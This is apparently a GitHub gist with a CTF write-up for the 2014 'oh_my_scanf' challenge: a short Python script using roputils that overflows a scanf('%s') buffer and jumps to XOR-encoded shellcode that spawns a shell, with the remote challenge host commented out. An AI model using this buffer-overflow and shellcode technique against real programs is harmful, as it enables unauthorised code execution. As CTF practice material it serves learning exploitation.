Last active
August 29, 2015 14:15
-
-
Save inaz2/18d44ae9643d4da5f156 to your computer and use it in GitHub Desktop.
writeup of Advent Calendar CTF 2014 oh_my_scanf http://adctf2014.katsudon.org/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from roputils import * | |
p = Proc('./oh_my_scanf') | |
#p = Proc(host='pwnable.katsudon.org', port=32100) | |
sc = Shellcode('i386') | |
buf = 'A' * 28 | |
buf += p32(0x80483e0) # push esp; ret | |
buf += sc.xor(sc.exec_shell(), '\t\n\v\f\r ') # elliminate white-space characters for scanf("%s") attack | |
p.read() | |
p.writeline(buf) | |
p.wait(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Shellcode.xor(): elliminate white-space characters [\t\n\v\f\r ] for scanf("%s") attack
inaz2/roputils@82f2758